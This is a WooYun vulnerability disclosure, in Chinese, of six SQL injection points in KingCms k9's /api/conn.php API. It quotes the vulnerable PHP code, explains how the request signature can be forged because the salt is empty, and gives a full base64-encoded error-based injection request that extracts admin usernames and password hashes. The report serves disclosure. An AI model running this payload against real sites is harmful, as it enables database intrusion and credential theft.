当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100601

漏洞标题:KingCms最新版(k9)绕过过滤6处注入打包

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-11 11:59

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)绕过过滤6处注入打包

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:GET /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d&jsoncallback=jsonp1426001109856&SIGN=9e64da1bfad93ed03ac42e0522cad92d&_=1426001137223 HTTP/1.1
这个注入点比较奇怪,因为数据库执行的语句全部都由用户输入,虽然有注入过滤,但是base64_decode后轻松绕过了。
注入参数:data_one,data,count,newid,getdir,getfile
下面以data为例进行说明
问题文件在/api/conn.php

$str=new str;
$db=new db;
$file=new file;
if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')');
//验证权限
$sign=$get['SIGN'];
unset($get['SIGN'],$get['_'],$get['jsoncallback']);
$arr=array();
foreach($get as $key => $val){
$arr[$key]=$key.'='.urlencode($val);
}
ksort($arr);
$param=implode('&',$arr);
$sign1=md5($param.kc_config('system.salt'));
if($sign!=$sign1) exit($jsoncallback.'('.json_encode(array('error'=>'审核失败,数据不一致!')).')');
$arr=array();
$get=array_map('base64_decode',$get);
foreach($get as $key=>$val){
if(substr($key,0,8)=='data_one'){
$arr[$key]=$db->get_one($val);
}elseif(substr($key,0,4)=='data'){
$arr[$key]=$db->get($val);
}elseif(substr($key,0,5)=='count'){
$res=$db->get($val);
$arr[$key]=empty($res[0]['c']) ? 0 : $res[0]['c'];
}elseif(substr($key,0,5)=='newid'){
list($table,$id)=explode('|',$val,2);
$arr[$key]=$db->newid($table,'',$id);
}elseif(substr($key,0,6)=='getdir'){
list($path,$filetype)=explode('|',$val,2);
if(empty($filetype)) $filetype='*';
$arr[$key]=$file->getDir($path,$filetype);
}elseif(substr($key,0,7)=='getfile'){
$arr[$key]=$file->get($val);
}elseif(substr($key,0,6)=='config'){
$arr[$key]=kc_config($val);
}elseif(substr($key,0,6)=='isfile'){
$arr[$key]=is_file(ROOT.$val)?1:0;
}
}


首先要绕过上面代码中的权限判断,其实就是计算出$sign1,然后使$_GET[‘SIGN’]与之相等即可。来看看$sign1是如何计算出来的

foreach($get as $key => $val){
$arr[$key]=$key.'='.urlencode($val);
}
ksort($arr);
$param=implode('&',$arr);
$sign1=md5($param.kc_config('system.salt'));


参与计算的参数只有kc_config('system.salt')不是用户输入的,但是kingcms的这个参数是空,此因所有参与计算的参数都是用户输入的,按上面的算法简单计算一下就知道$sign1了,然后输入的$_GET[‘SIGN’]等于$sign1即可绕过权限判断。
然后执行下面的代码,没有再过滤了

public function get($sql) {
$res=array();
$this->query($sql);
if (empty($this->query_ID)) {
return array();
}
$rows=mysql_num_rows($this->query_ID);
for($i=0;$i<$rows;$i++) {
if(!mysql_data_seek($this->query_ID,$i)) {
kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>');
}
$rs=mysql_fetch_array($this->query_ID);
foreach ($rs as $k=>$r) {
if (is_int($k) && $k!==0) {
unset($rs[$k]);
}
}
$res[$i]=$rs;
}
//释放资源
$this->free();
return $res;
}


提交的payload要经过base64_decode处理,因此在提交前先base64_encode一下就可以了。
Kingcms可以报错,因此
编码前Payload:

SELECT mid,mname,mtable FROM king_content_model UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a


编码后Payload:

U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d


注入成功,见下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝